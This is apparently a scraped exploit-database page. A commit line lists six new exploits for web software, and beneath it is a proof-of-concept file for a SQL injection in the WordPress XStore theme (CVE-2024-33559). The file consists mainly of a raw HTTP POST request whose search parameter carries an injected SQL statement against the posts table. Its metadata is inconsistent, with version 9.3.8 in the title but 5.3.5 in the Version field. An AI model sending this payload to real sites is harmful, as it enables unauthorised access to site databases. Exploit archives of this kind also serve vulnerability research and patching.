094f6f9304
7 changes to exploits/shellcodes/ghdb Apache OFBiz 18.12.12 - Directory Traversal Backdrop CMS 1.27.1 - Remote Command Execution (RCE) htmlLawed 1.2.5 - Remote Code Execution (RCE) PopojiCMS 2.0.1 - Remote Command Execution (RCE) Rocket LMS 1.9 - Persistent Cross Site Scripting (XSS) Wordpress Theme XStore 9.3.8 - SQLi
21 lines
No EOL
758 B
Text
21 lines
No EOL
758 B
Text
# Exploit Title: Wordpress Theme XStore 9.3.8 - SQLi
|
|
# Google Dork: N/A
|
|
# Date: 2024-05-16
|
|
# Exploit Author: [Abdualhadi khalifa (https://twitter.com/absholi_ly)
|
|
# Version: 5.3.5
|
|
# Tested on: Windows10
|
|
# CVE: CVE-2024-33559
|
|
|
|
|
|
Poc
|
|
<https://github.com/absholi7ly/WordPress-XStore-theme-SQL-Injection#poc>
|
|
|
|
POST /?s=%27%3B+SELECT+*+FROM+wp_posts%3B+-- HTTP/1.1
|
|
Host: example.com
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
|
|
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-US,en;q=0.9
|
|
Connection: keep-alive
|
|
Upgrade-Insecure-Requests: 1 |